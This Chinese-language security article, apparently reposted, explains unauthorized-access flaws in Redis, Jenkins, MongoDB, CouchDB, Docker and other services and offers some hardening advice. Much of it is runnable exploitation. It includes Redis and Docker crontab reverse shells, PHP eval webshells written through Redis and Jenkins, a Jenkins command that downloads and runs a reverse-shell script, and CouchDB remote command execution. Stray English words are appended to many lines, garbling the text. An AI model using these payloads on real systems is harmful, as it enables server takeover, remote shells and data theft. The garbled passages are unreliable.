今年5月,比特幣勒索病毒WannaCry席捲全球,國內衆多機構部門計算機系統癱瘓。根據以前應急響應的案例分析,以及一些安全報告統計,目前大部分的勒索病毒均利用未受權訪問等通用漏洞進行植入、勒索,尤爲是Redis、MongoDB等數據庫的未受權訪問漏洞尤爲嚴重。參見《【脈搏譯文系列】如何高效的應對勒索軟件》
php
未受權訪問能夠理解爲須要安全配置或權限認證的地址、受權頁面存在缺陷,致使其餘用戶能夠直接訪問,從而引起重要權限可被操做、數據庫、網站目錄等敏感信息泄露。 html
目前主要存在未受權訪問漏洞的有:NFS服務,Samba服務,LDAP,Rsync,FTP,GitLab,Jenkins,MongoDB,Redis,ZooKeeper,ElasticSearch,Memcache,CouchDB,Docker,Solr,Hadoop,Dubbo等,本文主要介紹一些目前比較經常使用的一些服務的未受權訪問,歡迎你們補充! java
Redis因配置不當能夠未受權訪問。攻擊者無需認證訪問到內部數據,可致使敏感信息泄露,也能夠惡意執行flushall來清空全部數據。若是Redis以root身份運行,能夠給root帳戶寫入SSH公鑰文件,直接經過SSH登陸受害服務器。 node
一、利用計劃任務執行命令反彈shell python
在redis以root權限運行時能夠寫crontab來執行命令反彈shell
先在本身的服務器上監聽一個端口 nginx
nc -lvnp 4444 git
而後執行命令: github
redis-cli -h 192.168.2.6
set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.1/4444 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save web
二、寫ssh-keygen公鑰登陸服務器 redis
在如下條件下,能夠利用此方法
此方法具體參考:redis配置不當可直接致使服務器被控制
三、獲取web服務的webshell
當redis權限不高時,而且服務器開着web服務,在redis有web目錄寫權限時,能夠嘗試往web路徑寫webshell。
執行如下命令
config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php @eval($_POST['caidao']);?>"
save
便可將shell寫入web目錄
能夠配置redis.conf這個文件,在安裝目錄下
默認狀況下Jenkins面板中用戶能夠選擇執行腳本界面來操做一些系統層命令,攻擊者可經過未受權訪問漏洞或者暴力破解用戶密碼等進腳本執行界面從而獲取服務器權限。
一、Jenkins未受權訪問可執行命令
http://www.secpulse.com:8080/manage
http://www.secpulse.com:8080/script
println "ifconfig -a".execute().text 執行一些系統命令
直接wget下載back.py反彈shell
println "wget http://xxx.secpulse.com/tools/back.py -P /tmp/".execute().text
println "python /tmp/back.py 10.1.1.111 8080".execute().text
二、Jenkins未受權訪問寫shell
jenskins是java web項目,咱們用java的File類寫文件
new File("c://temp//secpulse.txt").write("""
1
2
3
""");
新建一個內容爲1,2,3(每一行)的1.txt到c盤的temp文件夾,運行以下命令println 「powershell dir c:\temp」.execute().text若是寫成功,那麼secpulse.txt就會在返回結果中!
wget寫webshell
1. println "wget http://shell.secpulse.com/data/t.txt -o /var/www/html/secpulse.php".execute().text
2. new File("/var/www/html/secpulse.php").write('<?php @eval($_POST[s3cpu1se]);?>');
3. def webshell = '<?php @eval($_POST[s3cpu1se]);?>'
new File("/var/www/html/secpulse.php").write("$webshell");
4. def execute(cmd) {
def proc = cmd.execute()
proc.waitFor()
}
execute( [ 'bash', '-c', 'echo -n "<?php @eval($" > /usr/local/nginx_1119/html/secpulse.php' ] )
execute( [ 'bash', '-c', 'echo "_POST[s3cpu1se]);?>" >> /usr/local/nginx_1119/html/secpulse.php' ] )
//參數-n 不要在最後自動換行
Result: 0 表示成功寫入
Result: 1 表示目錄不存在或者權限不足 寫入失敗
Result: 2 表示構造有異常 寫入失敗
具體其餘詳細利用方法參考:知其一不知其二之Jenkins Hacking
開啓MongoDB服務時不添加任何參數時,默認是沒有權限驗證的,並且能夠遠程訪問數據庫,登陸的用戶能夠經過默認端口無需密碼對數據庫進行增、刪、改、查等任意高危操做。
一、爲MongoDB添加認證:
1)MongoDB啓動時添加--auth參數
2)給MongoDB添加用戶:
use admin #使用admin庫
db.addUser("root", "123456") #添加用戶名root密碼123456的用戶
db.auth("root","123456") #驗證下是否添加成功,返回1說明成功
二、禁用HTTP和REST端口
MongoDB自身帶有一個HTTP服務和並支持REST接口。在2.6之後這些接口默認是關閉的。mongoDB默認會使用默認端口監聽web服務,通常不須要經過web方式進行遠程管理,建議禁用。修改配置文件或在啓動的時候選擇–nohttpinterface 參數nohttpinterface=false
三、限制綁定IP
啓動時加入參數
--bind_ip 127.0.0.1
或在/etc/mongodb.conf文件中添加如下內容:
bind_ip = 127.0.0.1
Zookeeper的默認開放端口是2181。Zookeeper安裝部署以後默認狀況下不須要任何身份驗證,形成攻擊者能夠遠程利用Zookeeper,經過服務器收集敏感信息或者在Zookeeper集羣內進行破壞(好比:kill命令)。攻擊者可以執行全部只容許由管理員運行的命令。
執行如下命令便可遠程獲取該服務器的環境:
echo envi | nc ip port
直接鏈接:
./zkCli.sh -server ip:port
Elasticsearch是一款java編寫的企業級搜索服務。愈來愈多的公司使用ELK做爲日誌分析,啓動此服務默認會開放9200端口,可被非法操做數據
漏洞檢測:默認端口9200
至關於一個API,任何人訪問這個地址,就能夠調用api,進行數據的增刪改操做。
http://x.x.x.x:9200/_nodes
http://x.x.x.x:9200/_river
http.basic.enabled true #開關,開啓會接管所有HTTP鏈接
http.basic.user "admin" #帳號
http.basic.password "admin_pw" #密碼
http.basic.ipwhitelist ["localhost", "127.0.0.1"]
Memcached是一套經常使用的key-value緩存系統,因爲它自己沒有權限控制模塊,因此對公網開放的Memcache服務很容易被攻擊者掃描發現,攻擊者經過命令交互可直接讀取Memcached中的敏感信息。
一、登陸機器執行netstat -an |more命令查看端口監聽狀況。回顯0.0.0.0:11211表示在全部網卡進行監聽,存在memcached未受權訪問漏洞。
二、telnet <target> 11211,或nc -vv <target> 11211,提示鏈接成功表示漏洞存在
因爲服務器直接在開放了Hadoop機器HDFS的50070 web端口及部分默認服務端口,黑客能夠經過命令行操做多個目錄下的數據,如進行刪除,下載,目錄瀏覽甚至命令執行等操做,產生極大的危害。
主要HDFS和MapReduce的WebUI對應的服務端口。
其中比較重要的是DataNode 默認端口50075開放的話,攻擊者能夠經過hdsf提供的restful api對hdfs存儲數據進行操做。
restful api參考:http://hadoop.apache.org/docs/r1.0.4/webhdfs.html
a)HDFS
NameNode 默認端口 50070
DataNode 默認端口 50075
httpfs 默認端口14000
journalnode 默認端口 8480
b)YARN(JobTracker)
ResourceManager 默認端口8088
JobTracker 默認端口 50030
TaskTracker 默認端口 50060
c)Hue 默認端口 8080
d)YARN(JobTracker)
master 默認端口 60010
regionserver 默認端口60030
e)hive-server2 默認端口 10000
f)spark-jdbcserver 默認端口 10003
CouchDB默認在5984端口開放Restful的API接口,用於數據庫的管理功能。其HTTP Server默認開啓時沒有進行驗證,並且綁定在0.0.0.0,全部用戶都可經過API訪問致使未受權訪問。任何鏈接到服務器端口上的人,均可以調用相關API對服務器上的數據進行任意的增刪改查,其中經過API修改local.ini配置文件,可進一步致使執行任意系統命令,獲取服務器權限!
新增query_server配置,這裏執行ifconfig命令
curl -X PUT 'http://x.x.x.x:5984/_config/query_servers/cmd' -d '"/sbin/ifconfig >/tmp/6666"'
新建一個臨時表,插入一條記錄
curl -X PUT 'http://x.x.x.x:5984/vultest'
curl -X PUT 'http://x.x.x.x:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
調用query_server處理數據
curl -X POST 'http://x.x.x.x:5984/vultest/_temp_view?limit=11' -d '{"language":"cmd","map":""}' -H 'Content-Type: application/json'
固然你也能夠直接執行其餘命令,下載個其餘什麼的
一、指定CouchDB綁定的IP (須要重啓CouchDB才能生效) 在 /etc/couchdb/local.ini 文件中找到 「bind_address = 0.0.0.0」 ,把 0.0.0.0 修改成 127.0.0.1 ,而後保存。注:修改後只有本機才能訪問CouchDB。
二、設置訪問密碼 (須要重啓CouchDB才能生效) 在 /etc/couchdb/local.ini 中找到「[admins]」字段配置密碼
Docker Remote API是一個取代遠程命令行界面(rcli)的REST API。經過 docker client 或者 http 直接請求就能夠訪問這個 API,經過這個接口,咱們能夠新建 container,刪除已有 container,甚至是獲取宿主機的 shell
http://192.168.198.130:2375/v1.25/images/json
能夠獲取到全部的 images 列表
http://host:2375/containers/json
會返回服務器當前運行的 container列表,和在docker CLI上執行 docker ps
的效果同樣,過Post包咱們還能夠新建、開啓和關閉容器,其餘操做好比拉取image等操做也均可以經過API調用完成。
$ curl http://10.10.10.10:2375/containers/json [] docker -H=tcp://10.10.10.10:2375 ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
Docker remote Api未受權訪問的攻擊原理與以前的Redis未受權訪問漏洞大同小異,都是經過向運行該應用的服務器寫文件,從而拿到服務器的權限,常見的利用方法以下:
一、啓動一個容器,掛載宿主機的/root/目錄,以後將攻擊者的ssh公鑰~/.ssh/id_rsa.pub的內容寫到入宿主機的/root/.ssh/authorized_keys文件中,以後就能夠用root帳戶直接登陸了
二、啓動一個容器,掛載宿主機的/etc/目錄,以後將反彈shell的腳本寫入到/etc/crontab中,攻擊者會獲得一個反彈的shell,其中反彈shell腳本的樣例以下:
echo -e "*/1 * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",8088));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n" >> /etc/crontab
第2種利用方法也能夠掛載var/spool/cron/目錄,將反彈shell的腳本寫入到/var/spool/cron/root(centos系統)或/var/spool/cron/crontabs/root(ubuntu系統)
一、在沒必要需的狀況下,不要啓用docker的remote api服務,若是必須使用的話,能夠採用以下的加固方式:
二、客戶端鏈接時須要設置如下環境變量export DOCKER_TLS_VERIFY=1
export DOCKER_CERT_PATH=~/.docker
export DOCKER_HOST=tcp://10.10.10.10:2375
export DOCKER_API_VERSION=1.12
三、在 docker api 服務器前面加一個代理,例如 nginx,設置 401 認證
此腳本未作測試,請根據自身需求,修改測試使用!
轉載自:http://www.52bug.cn/%E9%BB%91%E5%AE%A2%E6%8A%80%E6%9C%AF/3905.html